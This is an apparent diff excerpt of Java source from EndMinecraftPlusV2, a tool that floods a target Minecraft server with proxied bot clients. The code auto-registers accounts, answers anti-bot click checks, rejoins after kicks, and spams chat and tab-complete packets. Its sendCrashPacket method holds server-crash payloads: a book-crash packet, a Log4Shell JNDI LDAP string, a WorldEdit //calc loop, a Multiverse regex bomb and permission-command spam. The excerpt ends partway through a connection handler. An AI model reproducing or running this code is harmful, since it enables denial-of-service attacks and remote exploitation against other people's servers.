import java.util.Random;
|
||||
import java.util.concurrent.ConcurrentHashMap;
|
||||
import java.util.concurrent.ExecutorService;
|
||||
import java.util.concurrent.Executors;
|
||||
import java.util.concurrent.TimeUnit;
|
||||
|
||||
public class BotManager {
|
||||
public static ConcurrentHashMap<Object, String> clientList = new ConcurrentHashMap<>();
|
||||
public static ConcurrentHashMap<Object, String> aliveList = new ConcurrentHashMap<>();
|
||||
public static ConcurrentHashMap<Object, Object> positionList = new ConcurrentHashMap<>();
|
||||
private static ExecutorService executorService_1 = null;
|
||||
private final ExecutorService executorService_2;
|
||||
public static BotHandler botHandler = null;
|
||||
public static PacketHandler packetHandler = null;
|
||||
public static boolean doubleAttack;
|
||||
public static int protocolVersion = -1;
|
||||
public static int rejoinCount = 0;
|
||||
public static int joinedCount = 0;
|
||||
public static int failedCount = 0;
|
||||
|
||||
public BotManager(BotHandler bot, PacketHandler packet) {
|
||||
executorService_1 = Executors.newFixedThreadPool(ConfigUtil.MaxConnections);
|
||||
this.executorService_2 = Executors.newFixedThreadPool(ConfigUtil.MaxConnections);
|
||||
botHandler = bot;
|
||||
packetHandler = packet;
|
||||
}
|
||||
|
||||
public void test() {
|
||||
// 获取Bot名称
|
||||
String userName = ConfigUtil.DebugPlayer;
|
||||
|
||||
// 创建Bot
|
||||
LogUtil.doLog(0, "[DEBUG] [创建Bot]", "BotAttack");
|
||||
Object client = botHandler.createClientLocal(userName);
|
||||
BotManager.clientList.put(client, userName);
|
||||
botHandler.setClientTimeout(client, ConfigUtil.ConnectTimeout);
|
||||
LogUtil.doLog(0, "[DEBUG] [连接到服务器]", "BotAttack");
|
||||
botHandler.connectLocal(client);
|
||||
|
||||
if (ConfigUtil.DebugPlayerActivities) {
|
||||
for (String action : ConfigUtil.DebugPlayerActions) {
|
||||
String[] _action = action.split(":");
|
||||
switch (_action[0]) {
|
||||
case "wait":
|
||||
long time = Long.parseLong(_action[1]);
|
||||
LogUtil.doLog(0, "[DEBUG] [行动] 等待: " + time + "毫秒", "BotAttack");
|
||||
OtherUtils.doSleep(time);
|
||||
break;
|
||||
case "chat":
|
||||
String msg = _action[1];
|
||||
LogUtil.doLog(0, "[DEBUG] [行动] 尝试发送测试消息: " + msg, "BotAttack");
|
||||
packetHandler.sendChatPacket(client, msg);
|
||||
break;
|
||||
case "randomTeleport":
|
||||
int count = Integer.parseInt(_action[1]);
|
||||
LogUtil.doLog(0, "[DEBUG] [行动] 尝试进行随机传送: " + count + "次", "BotAttack");
|
||||
packetHandler.sendPositionPacketFromPacket(client, positionList.get(client), true);
|
||||
break;
|
||||
case "backTeleport":
|
||||
LogUtil.doLog(0, "[DEBUG] [行动] 尝试回到初始位置。", "BotAttack");
|
||||
packetHandler.sendPositionPacketFromPacket(client, positionList.get(client), false);
|
||||
break;
|
||||
case "register&Login":
|
||||
String pwd = _action[1];
|
||||
LogUtil.doLog(0, "[DEBUG] [行动] 尝试执行注册/登录: " + pwd, "BotAttack");
|
||||
doRegisterLogin(client, userName, 0, false, pwd);
|
||||
break;
|
||||
case "crashPacket":
|
||||
int count_ = Integer.parseInt(_action[1]);
|
||||
LogUtil.doLog(0, "[DEBUG] [行动] 尝试发送崩服数据包: " + count_ + "个", "BotAttack");
|
||||
sendCrashPacket(client, count_);
|
||||
break;
|
||||
default:
|
||||
LogUtil.doLog(0, "[DEBUG] [行动] 无法识别的action语句: " + action, "BotAttack");
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
public void startTask(Boolean isDoubleAttack, int protocolVersion) {
|
||||
doubleAttack = isDoubleAttack;
|
||||
BotManager.protocolVersion = protocolVersion;
|
||||
clientList = new ConcurrentHashMap<>();
|
||||
aliveList = new ConcurrentHashMap<>();
|
||||
positionList = new ConcurrentHashMap<>();
|
||||
long startTime = System.currentTimeMillis();
|
||||
|
||||
new Thread(() -> {
|
||||
while (System.currentTimeMillis() - startTime < ConfigUtil.AttackTime * 1000) {
|
||||
if (!ConfigUtil.isLinux) {
|
||||
SetTitle.INSTANCE.SetConsoleTitleA("EndMinecraftPlusV2 - BotAttack | 当前连接数: " + clientList.size() + "个 | 失败次数: " + failedCount + "次 | 成功加入: " + joinedCount + "次 | 当前存活: " + aliveList.size() + "个 | 点击验证: " + PacketManager.clickVerifies + "次 | 重进尝试: " + rejoinCount);
|
||||
OtherUtils.doSleep(100);
|
||||
} else {
|
||||
LogUtil.doLog(0, "当前连接数: " + clientList.size() + "个 | 失败次数: " + failedCount + "次 | 成功加入: " + joinedCount + "次 | 当前存活: " + aliveList.size() + "个 | 点击验证: " + PacketManager.clickVerifies + "次 | 重进尝试: " + rejoinCount, ConfigUtil.getAttackMethod(ConfigUtil.AttackMethod));
|
||||
OtherUtils.doSleep(5000);
|
||||
}
|
||||
}
|
||||
}).start();
|
||||
|
||||
while (System.currentTimeMillis() - startTime < ConfigUtil.AttackTime * 1000) {
|
||||
executorService_1.execute(new botCreateTask());
|
||||
OtherUtils.doSleep(ConfigUtil.ConnectDelay);
|
||||
new Thread(() -> {
|
||||
for (Object client : aliveList.keySet().toArray()) {
|
||||
executorService_2.execute(new botActivitiesTask(client, aliveList.get(client)));
|
||||
}
|
||||
}).start();
|
||||
}
|
||||
shutdownAndAwaitTermination(executorService_2);
|
||||
shutdownAndAwaitTermination(executorService_1);
|
||||
}
|
||||
|
||||
private void shutdownAndAwaitTermination(ExecutorService executorService) {
|
||||
executorService.shutdown(); // Disable new tasks from being submitted
|
||||
try {
|
||||
// Wait a while for existing tasks to terminate
|
||||
if (!executorService.awaitTermination(60, TimeUnit.SECONDS)) {
|
||||
executorService.shutdownNow(); // Cancel currently executing tasks
|
||||
// Wait a while for tasks to respond to being cancelled
|
||||
if (!executorService.awaitTermination(60, TimeUnit.SECONDS))
|
||||
LogUtil.doLog(1, "Executor did not terminate", null);
|
||||
}
|
||||
} catch (InterruptedException ie) {
|
||||
// (Re-)Cancel if current thread also interrupted
|
||||
executorService.shutdownNow();
|
||||
// Preserve interrupt status
|
||||
Thread.currentThread().interrupt();
|
||||
}
|
||||
}
|
||||
|
||||
private static class botCreateTask implements Runnable {
|
||||
@Override
|
||||
public void run() {
|
||||
// 获取对应代理(一号一个)
|
||||
Proxy.Type proxyType = UniverseMethods.getProxyType(ConfigUtil.ProxyType);
|
||||
Proxy proxy = UniverseMethods.getProxy(proxyType);
|
||||
|
||||
// 获取Bot名称
|
||||
String[] user = UniverseMethods.getRandomUser().split("@");
|
||||
String userName = user[0];
|
||||
|
||||
// 创建Bot
|
||||
Object client = botHandler.createClient(proxy, userName);
|
||||
BotManager.clientList.put(client, userName);
|
||||
botHandler.setClientTimeout(client, ConfigUtil.ConnectTimeout);
|
||||
|
||||
// 连接到服务器
|
||||
if (!doubleAttack && ConfigUtil.GetMotdBeforeRejoin) {
|
||||
for (int i = 0; i < ConfigUtil.GetMotdCount; i++) {
|
||||
try {
|
||||
new UniverseMethods().getMotd(proxy, ConfigUtil.AttackAddress, ConfigUtil.AttackPort);
|
||||
} catch (Throwable ignored) {
|
||||
}
|
||||
OtherUtils.doSleep(ConfigUtil.GetMotdDelay);
|
||||
}
|
||||
}
|
||||
botHandler.connect(client, proxy);
|
||||
|
||||
while (botHandler.checkClientStatus(client)) {
|
||||
OtherUtils.doSleep(1000);
|
||||
}
|
||||
|
||||
// 处理连接断开
|
||||
String disconnectMsg = botHandler.getClientDisconnectMsg(client);
|
||||
executorService_1.execute(new botRejoinTask(disconnectMsg, proxy, userName, BotManager.doubleAttack)); // 重连尝试
|
||||
clientList.remove(client);
|
||||
}
|
||||
}
|
||||
|
||||
private static class botActivitiesTask implements Runnable {
|
||||
private final Object client;
|
||||
private final String userName;
|
||||
|
||||
public botActivitiesTask(Object client, String userName) {
|
||||
this.client = client;
|
||||
this.userName = userName;
|
||||
}
|
||||
|
||||
@Override
|
||||
public void run() {
|
||||
for (String action : ConfigUtil.BotActions) {
|
||||
boolean async = "async".equals(action.split("\\|")[0]);
|
||||
|
||||
String[] _action;
|
||||
if (async) {
|
||||
_action = action.split("\\|")[1].split(":");
|
||||
new Thread(() -> runBotAction(client, userName, action, _action)).start();
|
||||
} else {
|
||||
_action = action.split(":");
|
||||
runBotAction(client, userName, action, _action);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private static void runBotAction(Object client, String userName, String action, String[] _action) {
|
||||
switch (_action[0]) {
|
||||
case "wait":
|
||||
long waitTime = Long.parseLong(_action[1]);
|
||||
LogUtil.doLog(0, "[" + userName + "] [行动] 等待: " + waitTime + "毫秒", "BotAttack");
|
||||
OtherUtils.doSleep(waitTime);
|
||||
break;
|
||||
case "chatSpam":
|
||||
String[] spamArgs = _action[1].split("_");
|
||||
int chatCount = Integer.parseInt(spamArgs[0]);
|
||||
long chatDelay = Long.parseLong(spamArgs[1]);
|
||||
LogUtil.doLog(0, "[" + userName + "] [行动] 尝试向服务器发送消息: " + chatCount + "次", "BotAttack");
|
||||
for (int i = 0; i < chatCount; i++) {
|
||||
OtherUtils.doSleep(chatDelay);
|
||||
packetHandler.sendChatPacket(client, UniverseMethods.getRandMessage(userName));
|
||||
}
|
||||
break;
|
||||
case "randomTeleport":
|
||||
String[] rndTpArgs = _action[1].split("_");
|
||||
int rndTpCount = Integer.parseInt(rndTpArgs[0]);
|
||||
long rndTpDelay = Integer.parseInt(rndTpArgs[1]);
|
||||
LogUtil.doLog(0, "[" + userName + "] [行动] 尝试进行随机传送: " + rndTpCount + "次", "BotAttack");
|
||||
for (int i = 0; i < rndTpCount; i++) {
|
||||
packetHandler.sendPositionPacketFromPacket(client, positionList.get(client), true);
|
||||
OtherUtils.doSleep(rndTpDelay);
|
||||
}
|
||||
break;
|
||||
case "backTeleport":
|
||||
LogUtil.doLog(0, "[" + userName + "] [行动] 尝试回到初始位置。", "BotAttack");
|
||||
packetHandler.sendPositionPacketFromPacket(client, positionList.get(client), false);
|
||||
break;
|
||||
case "register&Login":
|
||||
String[] loginArgs = _action[1].split("_");
|
||||
String flag = loginArgs[0];
|
||||
boolean randomPwd = Boolean.parseBoolean(loginArgs[1]);
|
||||
String pwd = loginArgs[2];
|
||||
if (!botHandler.hasClientFlag(client, flag)) {
|
||||
LogUtil.doLog(0, "[" + userName + "] [行动] 尝试执行注册/登录: " + pwd, "BotAttack");
|
||||
doRegisterLogin(client, userName, 0, randomPwd, pwd);
|
||||
botHandler.setClientFlag(client, flag);
|
||||
}
|
||||
break;
|
||||
case "crashPacket":
|
||||
int packetCount = Integer.parseInt(_action[1]);
|
||||
LogUtil.doLog(0, "[" + userName + "] [行动] 尝试发送崩服数据包: " + packetCount + "个", "BotAttack");
|
||||
sendCrashPacket(client, packetCount);
|
||||
break;
|
||||
case "tabAttack":
|
||||
String[] tabArgs = _action[1].split("_");
|
||||
int tabCount = Integer.parseInt(tabArgs[0]);
|
||||
long tabDelay = Long.parseLong(tabArgs[1]);
|
||||
LogUtil.doLog(0, "[" + userName + "] [行动] 尝试发送命令补全数据包: " + tabCount + "个", "BotAttack");
|
||||
for (int i = 0; i < tabCount; i++) {
|
||||
packetHandler.sendTabCompletePacket(client, "/");
|
||||
OtherUtils.doSleep(tabDelay);
|
||||
}
|
||||
default:
|
||||
LogUtil.doLog(0, "[" + userName + "] [行动] 无法识别的action语句: " + action, "BotAttack");
|
||||
}
|
||||
}
|
||||
|
||||
private static class botRejoinTask implements Runnable {
|
||||
private final String disconnectMsg;
|
||||
private final String userName;
|
||||
private final Proxy proxy;
|
||||
private final boolean doubleAttack;
|
||||
|
||||
public botRejoinTask(String disconnectMsg, Proxy proxy, String userName, boolean doubleAttack) {
|
||||
this.disconnectMsg = disconnectMsg;
|
||||
this.proxy = proxy;
|
||||
this.userName = userName;
|
||||
this.doubleAttack = doubleAttack;
|
||||
}
|
||||
|
||||
@Override
|
||||
public void run() {
|
||||
if (doubleAttack || disconnectMsg == null) {
|
||||
return;
|
||||
}
|
||||
|
||||
boolean rejoin = false;
|
||||
|
||||
if (ConfigUtil.EmptyMsgRejoin && disconnectMsg.trim().isEmpty()) {
|
||||
rejoin = true;
|
||||
} else {
|
||||
for (String rejoinDetect : ConfigUtil.RejoinDetect) {
|
||||
if (disconnectMsg.contains(rejoinDetect)) {
|
||||
rejoin = true;
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if (rejoin) {
|
||||
for (int i = 0; i < ConfigUtil.RejoinCount; i++) {
|
||||
rejoinCount++;
|
||||
|
||||
// 创建Bot
|
||||
Object client = botHandler.createClient(proxy, userName);
|
||||
BotManager.clientList.put(client, userName);
|
||||
botHandler.setClientTimeout(client, ConfigUtil.ConnectTimeout);
|
||||
botHandler.connect(client, proxy);
|
||||
|
||||
while (botHandler.checkClientStatus(client)) {
|
||||
OtherUtils.doSleep(1000);
|
||||
}
|
||||
|
||||
// 处理连接断开
|
||||
String failMsg = botHandler.getClientDisconnectMsg(client);
|
||||
clientList.remove(client);
|
||||
|
||||
LogUtil.doLog(0, "[假人重连失败] [" + userName + "] [" + proxy + "] " + failMsg, "BotAttack");
|
||||
|
||||
OtherUtils.doSleep(ConfigUtil.RejoinDelay);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
public static void doRegisterLogin(Object client, String userName, long delay, boolean randomPassword, String password) {
|
||||
botHandler.setClientFlag(client, "login");
|
||||
new Thread(() -> {
|
||||
for (String text : ConfigUtil.RegisterCommands) {
|
||||
OtherUtils.doSleep(delay);
|
||||
String cmd = text;
|
||||
if (randomPassword) {
|
||||
cmd = cmd.replace("$pwd", DataUtil.botRegPasswordsMap.get(userName));
|
||||
} else {
|
||||
cmd = cmd.replace("$pwd", password);
|
||||
}
|
||||
cmd = cmd.replace("$userName", userName);
|
||||
cmd = cmd.replace("$rnd", OtherUtils.getRandomString(4, 6));
|
||||
LogUtil.doLog(0, "[" + userName + "] 注册信息已发送。", "BotAttack");
|
||||
packetHandler.sendChatPacket(client, cmd);
|
||||
}
|
||||
}).start();
|
||||
}
|
||||
|
||||
public static void sendCrashPacket(Object client, int count) {
|
||||
switch (ConfigUtil.ServerCrasherMode) {
|
||||
case 1:
|
||||
if (protocolVersion <= 340 && protocolVersion != -1) {
|
||||
new Thread(() -> {
|
||||
for (int i = 0; i < count; i++) {
|
||||
packetHandler.sendCrashBookPacket(client);
|
||||
OtherUtils.doSleep(ConfigUtil.ServerCrasherPacketDelay);
|
||||
}
|
||||
}).start();
|
||||
} else {
|
||||
LogUtil.doLog(0, "Book Crash仅适用于1.12.2之前的版本。", "ServerCrasher");
|
||||
}
|
||||
break;
|
||||
case 2:
|
||||
String log4jExploit = "${jndi:ldap://192.168.${RandomUtils.nextInt(1,253)}.${RandomUtils.nextInt(1,253)}}";
|
||||
packetHandler.sendChatPacket(client, log4jExploit);
|
||||
break;
|
||||
case 3:
|
||||
String worldEdit = "//calc for(i=0;i<256;i++){for(a=0;a<256;a++){for(b=0;b<256;b++){for(c=0;c<255;c++){}}}}";
|
||||
packetHandler.sendChatPacket(client, worldEdit);
|
||||
break;
|
||||
case 4:
|
||||
String multiverseCore = "/mv ^(.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.++)$^";
|
||||
packetHandler.sendChatPacket(client, multiverseCore);
|
||||
break;
|
||||
case 5:
|
||||
String pex_1 = "/pex promote a a";
|
||||
String pex_2 = "/pex demote a a";
|
||||
new Thread(() -> {
|
||||
for (int i = 0; i < count; i++) {
|
||||
packetHandler.sendChatPacket(client, new Random().nextBoolean() ? pex_1 : pex_2);
|
||||
OtherUtils.doSleep(ConfigUtil.ServerCrasherPacketDelay);
|
||||
}
|
||||
}).start();
|
||||
break;
|
||||
default:
|
||||
LogUtil.doLog(1, "ServerCrasher Mode设置有误,请检查配置文件。", null);
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
@ -0,0 +1,49 @@
|
||||
package cn.serendipityr.EndMinecraftPlusV2.MultipleVersion.Packet;
|
||||
|
||||
public interface PacketHandler {
|
||||
boolean checkServerPluginMessagePacket(Object packet);
|
||||
|
||||
void handleServerPluginMessagePacket(Object client, Object packet, String username);
|
||||
|
||||
boolean checkServerJoinGamePacket(Object packet);
|
||||
|
||||
void handleServerJoinGamePacket(Object client, Object packet, String username);
|
||||
|
||||
boolean checkServerPlayerPositionRotationPacket(Object packet);
|
||||
|
||||
void handleServerPlayerPositionRotationPacket(Object client, Object packet, String username);
|
||||
|
||||
boolean checkServerChatPacket(Object packet);
|
||||
|
||||
void handleServerChatPacket(Object client, Object packet, String username);
|
||||
|
||||
boolean checkServerKeepAlivePacket(Object packet);
|
||||
|
||||
void handleServerKeepAlivePacket(Object client, Object packet, String username);
|
||||
|
||||
boolean checkServerPlayerHealthPacket(Object packet);
|
||||
|
||||
void handleServerPlayerHealthPacket(Object client, Object packet, String username);
|
||||
|
||||
void handleOtherPacket(Object packet);
|
||||
|
||||
void sendChatPacket(Object client, String text);
|
||||
|
||||
void sendTabCompletePacket(Object client, String cmd);
|
||||
|
||||
void sendPositionPacketFromPacket(Object client, Object packet, boolean random);
|
||||
|
||||
void sendCrashBookPacket(Object client);
|
||||
|
||||
Object getMessageFromPacket(Object packet);
|
||||
|
||||
boolean hasMessageClickEvent(Object message);
|
||||
|
||||
String getMessageText(Object message);
|
||||
|
||||
void handleMessageExtra(PacketHandler packetHandler, Object message, Object client, String username);
|
||||
|
||||
String getClickValue(Object message);
|
||||
|
||||
boolean hasMessageExtra(Object message);
|
||||
}
|
@ -0,0 +1,65 @@
|
||||
package cn.serendipityr.EndMinecraftPlusV2.MultipleVersion.Packet;
|
||||
|
||||
import cn.serendipityr.EndMinecraftPlusV2.MultipleVersion.Bot.BotManager;
|
||||
import cn.serendipityr.EndMinecraftPlusV2.Tools.ConfigUtil;
|
||||
import cn.serendipityr.EndMinecraftPlusV2.Tools.LogUtil;
|
||||
|
||||
public class PacketManager {
|
||||
public static int clickVerifies = 0;
|
||||
|
||||
public static void handlePacket(PacketHandler packetHandler, Object client, Object packet, String username) {
|
||||
if (packetHandler.checkServerPluginMessagePacket(packet)) {
|
||||
// 插件消息包
|
||||
packetHandler.handleServerPluginMessagePacket(client, packet, username);
|
||||
} else if (packetHandler.checkServerJoinGamePacket(packet)) {
|
||||
// 游戏设置包
|
||||
if (BotManager.doubleAttack) {
|
||||
BotManager.botHandler.disconnect(client);
|
||||
return;
|
||||
}
|
||||
packetHandler.handleServerJoinGamePacket(client, packet, username);
|
||||
} else if (packetHandler.checkServerKeepAlivePacket(packet)) {
|
||||
// 心跳包
|
||||
packetHandler.handleServerKeepAlivePacket(client, packet, username);
|
||||
} else if (packetHandler.checkServerChatPacket(packet)) {
|
||||
// 聊天信息包
|
||||
packetHandler.handleServerChatPacket(client, packet, username);
|
||||
Object message = packetHandler.getMessageFromPacket(packet);
|
||||
// 处理点击信息
|
||||
clickVerifiesHandle(packetHandler, client, message, username);
|
||||
} else if (packetHandler.checkServerPlayerHealthPacket(packet)) {
|
||||
// 血量数据包
|
||||
packetHandler.handleServerPlayerHealthPacket(client, packet, username);
|
||||
} else if (packetHandler.checkServerPlayerPositionRotationPacket(packet)) {
|
||||
// 移动数据包
|
||||
packetHandler.handleServerPlayerPositionRotationPacket(client, packet, username);
|
||||
BotManager.positionList.put(client, packet);
|
||||
} else {
|
||||
// packetHandler.handleOtherPacket(packet);
|
||||
}
|
||||
}
|
||||
|
||||
public static void clickVerifiesHandle(PacketHandler packetHandler, Object client, Object message, String username) {
|
||||
boolean needClick = false;
|
||||
|
||||
if (packetHandler.hasMessageClickEvent(message)) {
|
||||
for (String clickVerifiesDetect : ConfigUtil.ClickVerifiesDetect) {
|
||||
if (packetHandler.getMessageText(message).contains(clickVerifiesDetect)) {
|
||||
needClick = true;
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if (needClick) {
|
||||
String value = packetHandler.getClickValue(message);
|
||||
LogUtil.doLog(0, "[服务端返回验证信息] [" + username + "] " + value, "BotAttack");
|
||||
packetHandler.sendChatPacket(client, value);
|
||||
clickVerifies++;
|
||||
}
|
||||
|
||||
if (packetHandler.hasMessageExtra(message)) {
|
||||
packetHandler.handleMessageExtra(packetHandler, message, client, username);
|
||||
}
|
||||
}
|
||||
}
|
@ -0,0 +1,86 @@
|
||||
package cn.serendipityr.EndMinecraftPlusV2.MultipleVersion;
|
||||
|
||||
import cn.serendipityr.EndMinecraftPlusV2.MultipleVersion.Bot.BotManager;
|
||||
import cn.serendipityr.EndMinecraftPlusV2.Tools.ConfigUtil;
|
||||
import cn.serendipityr.EndMinecraftPlusV2.Tools.DataUtil;
|
||||
import cn.serendipityr.EndMinecraftPlusV2.Tools.OtherUtils;
|
||||
import cn.serendipityr.EndMinecraftPlusV2.Tools.ProxyUtil;
|
||||
|
||||
import java.io.IOException;
|
||||
import java.io.OutputStream;
|
||||
import java.net.InetSocketAddress;
|
||||
import java.net.Proxy;
|
||||
import java.net.Socket;
|
||||
import java.util.ArrayList;
|
||||
import java.util.Random;
|
||||
|
||||
public class UniverseMethods {
|
||||
public static String getRandMessage(String userName) {
|
||||
Random random = new Random();
|
||||
int randomIndex = random.nextInt(ConfigUtil.CustomChat.size());
|
||||
|
||||
String randomMessage = ConfigUtil.CustomChat.get(randomIndex);
|
||||
String randomString = OtherUtils.getRandomString(4, 6);
|
||||
String userPassword = DataUtil.botRegPasswordsMap.get(userName);
|
||||
|
||||
randomMessage = randomMessage.replace("$rnd", randomString);
|
||||
randomMessage = randomMessage.replace("$pwd", userPassword);
|
||||
randomMessage = randomMessage.replace("$userName", userName);
|
||||
|
||||
return randomMessage;
|
||||
}
|
||||
|
||||
public void getMotd(Proxy proxy, String ip, int port) throws IOException {
|
||||
try (Socket socket = new Socket(proxy)) {
|
||||
socket.connect(new InetSocketAddress(ip, port));
|
||||
|
||||
if (socket.isConnected()) {
|
||||
try (OutputStream out = socket.getOutputStream()) {
|
||||
out.write(new byte[]{0x07, 0x00, 0x05, 0x01, 0x30, 0x63, (byte) 0xDD, 0x01});
|
||||
out.write(new byte[]{0x01, 0x00});
|
||||
out.flush();
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
public static Proxy getProxy(Proxy.Type proxyType) {
|
||||
int size = ProxyUtil.proxies.size();
|
||||
String p = new ArrayList<>(ProxyUtil.proxies.keySet()).get(BotManager.clientList.size() % size);
|
||||
String[] _p = p.split(":");
|
||||
return new Proxy(proxyType, new InetSocketAddress(_p[0], Integer.parseInt(_p[1])));
|
||||
}
|
||||
|
||||
public static Proxy.Type getProxyType(int type) {
|
||||
Proxy.Type proxyType;
|
||||
switch (type) {
|
||||
case 3:
|
||||
case 2:
|
||||
proxyType = Proxy.Type.SOCKS;
|
||||
break;
|
||||
case 1:
|
||||
default:
|
||||
proxyType = Proxy.Type.HTTP;
|
||||
break;
|
||||
}
|
||||
|
||||
return proxyType;
|
||||
}
|
||||
|
||||
public static String getRandomUser() {
|
||||
if (BotManager.doubleAttack) {
|
||||
return ConfigUtil.DoubleExploitPlayer + "@12345678Aa!";
|
||||
}
|
||||
|
||||
return DataUtil.botRegPasswords.get(new Random().nextInt(DataUtil.botRegPasswords.size()));
|
||||
}
|
||||
|
||||
public static byte[] getRandomMAC() {
|
||||
Random random = new Random();
|
||||
byte[] macAddress = new byte[6];
|
||||
random.nextBytes(macAddress);
|
||||
macAddress[0] = (byte) (macAddress[0] | (byte) (1 << 1));
|
||||
macAddress[0] = (byte) (macAddress[0] & (byte) ~1);
|
||||
return macAddress;
|
||||
}
|
||||
}
|
23
VersionSupport-P1_12_2/VersionSupport-P1_12_2.iml
Normal file
23
VersionSupport-P1_12_2/VersionSupport-P1_12_2.iml
Normal file
@ -0,0 +1,23 @@
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<module type="JAVA_MODULE" version="4">
|
||||
<component name="NewModuleRootManager" inherit-compiler-output="true">
|
||||
<exclude-output />
|
||||
<content url="file://$MODULE_DIR$">
|
||||
<sourceFolder url="file://$MODULE_DIR$/src" isTestSource="false" />
|
||||
</content>
|
||||
<orderEntry type="inheritedJdk" />
|
||||
<orderEntry type="sourceFolder" forTests="false" />
|
||||
<orderEntry type="module" module-name="VersionFactory" />
|
||||
<orderEntry type="module" module-name="Tools" />
|
||||
<orderEntry type="module" module-name="AdvanceModule" />
|
||||
<orderEntry type="module-library">
|
||||
<library>
|
||||
<CLASSES>
|
||||
<root url="jar://$MODULE_DIR$/../libs/MC-1.12.2.jar!/" />
|
||||
</CLASSES>
|
||||
<JAVADOC />
|
||||
<SOURCES />
|
||||
</library>
|
||||
</orderEntry>
|
||||
</component>
|
||||
</module>
|
@ -0,0 +1,174 @@
|
||||
package cn.serendipityr.EndMinecraftPlusV2.MultipleVersion.VersionSupport.P1_12_2;
|
||||
|
||||
import cn.serendipityr.EndMinecraftPlusV2.AdvanceModule.MCForge.MCForge;
|
||||
import cn.serendipityr.EndMinecraftPlusV2.MultipleVersion.Bot.BotManager;
|
||||
import cn.serendipityr.EndMinecraftPlusV2.MultipleVersion.Packet.PacketManager;
|
||||
import cn.serendipityr.EndMinecraftPlusV2.Tools.ConfigUtil;
|
||||
import cn.serendipityr.EndMinecraftPlusV2.Tools.LogUtil;
|
||||
import cn.serendipityr.EndMinecraftPlusV2.Tools.ProxyUtil;
|
||||
import org.spacehq.mc.protocol.MinecraftProtocol;
|
||||
import org.spacehq.packetlib.Client;
|
||||
import org.spacehq.packetlib.event.session.*;
|
||||
import org.spacehq.packetlib.tcp.TcpSessionFactory;
|
||||
|
||||
import java.net.Proxy;
|
||||
|
||||
public class BotHandler implements cn.serendipityr.EndMinecraftPlusV2.MultipleVersion.Bot.BotHandler {
|
||||
@Override
|
||||
public Object createClient(Proxy proxy, String userName) {
|
||||
return new Client(ConfigUtil.AttackAddress, ConfigUtil.AttackPort, new MinecraftProtocol(userName), new TcpSessionFactory(proxy));
|
||||
}
|
||||
|
||||
@Override
|
||||
public Object createClientLocal(String userName) {
|
||||
return new Client(ConfigUtil.AttackAddress, ConfigUtil.AttackPort, new MinecraftProtocol(userName), new TcpSessionFactory());
|
||||
}
|
||||
|
||||
@Override
|
||||
public void connect(Object c, Proxy proxy) {
|
||||
Client client = (Client) c;
|
||||
String userName = BotManager.clientList.get(c);
|
||||
if (ConfigUtil.ForgeSupport) {
|
||||
new MCForge(client.getSession(), ConfigUtil.ForgeModList).init();
|
||||
}
|
||||
|
||||
client.getSession().addListener(new SessionListener() {
|
||||
public void packetReceived(PacketReceivedEvent e) {
|
||||
if (!BotManager.aliveList.containsKey(client)) {
|
||||
if (ConfigUtil.SaveWorkingProxy) {
|
||||
ProxyUtil.saveWorkingProxy(proxy);
|
||||
}
|
||||
BotManager.aliveList.put(client, userName);
|
||||
BotManager.joinedCount++;
|
||||
}
|
||||
|
||||
new Thread(() -> {
|
||||
PacketManager.handlePacket(BotManager.packetHandler, client, e.getPacket(), userName);
|
||||
}).start();
|
||||
}
|
||||
|
||||
public void packetSent(PacketSentEvent e) {
|
||||
}
|
||||
|
||||
public void connected(ConnectedEvent e) {
|
||||
}
|
||||
|
||||
public void disconnecting(DisconnectingEvent e) {
|
||||
}
|
||||
|
||||
public void disconnected(DisconnectedEvent e) {
|
||||
String disconnectMsg;
|
||||
|
||||
if (e.getCause() == null) {
|
||||
disconnectMsg = e.getReason();
|
||||
LogUtil.doLog(0, "[假人断开连接] [" + userName + "] " + disconnectMsg, "BotAttack");
|
||||
} else {
|
||||
disconnectMsg = e.getCause().getClass().getSimpleName();
|
||||
if (ConfigUtil.ShowFails) {
|
||||
LogUtil.doLog(0, "[假人断开连接] [" + userName + "] " + disconnectMsg, "BotAttack");
|
||||
}
|
||||
}
|
||||
|
||||
client.getSession().setFlag("disconnectMsg", disconnectMsg);
|
||||
BotManager.aliveList.remove(client);
|
||||
BotManager.failedCount++;
|
||||
}
|
||||
});
|
||||
|
||||
client.getSession().connect(true);
|
||||
}
|
||||
|
||||
@Override
|
||||
public void disconnect(Object c) {
|
||||
Client client = (Client) c;
|
||||
client.getSession().disconnect("");
|
||||
}
|
||||
|
||||
@Override
|
||||
public void connectLocal(Object c) {
|
||||
Client client = (Client) c;
|
||||
String userName = BotManager.clientList.get(c);
|
||||
if (ConfigUtil.ForgeSupport) {
|
||||
LogUtil.doLog(0, "[DEBUG] [载入Mod列表]", "BotAttack");
|
||||
new MCForge(client.getSession(), ConfigUtil.ForgeModList).init();
|
||||
}
|
||||
|
||||
LogUtil.doLog(0, "[DEBUG] [创建监听器]", "BotAttack");
|
||||
client.getSession().addListener(new SessionListener() {
|
||||
public void packetReceived(PacketReceivedEvent e) {
|
||||
if (!BotManager.aliveList.containsKey(client)) {
|
||||
BotManager.aliveList.put(client, userName);
|
||||
BotManager.joinedCount++;
|
||||
}
|
||||
|
||||
new Thread(() -> {
|
||||
PacketManager.handlePacket(BotManager.packetHandler, client, e.getPacket(), userName);
|
||||
}).start();
|
||||
}
|
||||
|
||||
public void packetSent(PacketSentEvent e) {
|
||||
}
|
||||
|
||||
public void connected(ConnectedEvent e) {
|
||||
LogUtil.doLog(0, "[DEBUG] [Bot连接成功]", "BotAttack");
|
||||
}
|
||||
|
||||
public void disconnecting(DisconnectingEvent e) {
|
||||
}
|
||||
|
||||
public void disconnected(DisconnectedEvent e) {
|
||||
String disconnectMsg;
|
||||
|
||||
if (e.getCause() == null) {
|
||||
disconnectMsg = e.getReason();
|
||||
LogUtil.doLog(0, "[假人断开连接] [" + userName + "] " + disconnectMsg, "BotAttack");
|
||||
} else {
|
||||
e.getCause().printStackTrace();
|
||||
disconnectMsg = e.getCause().getClass().getSimpleName();
|
||||
if (ConfigUtil.ShowFails) {
|
||||
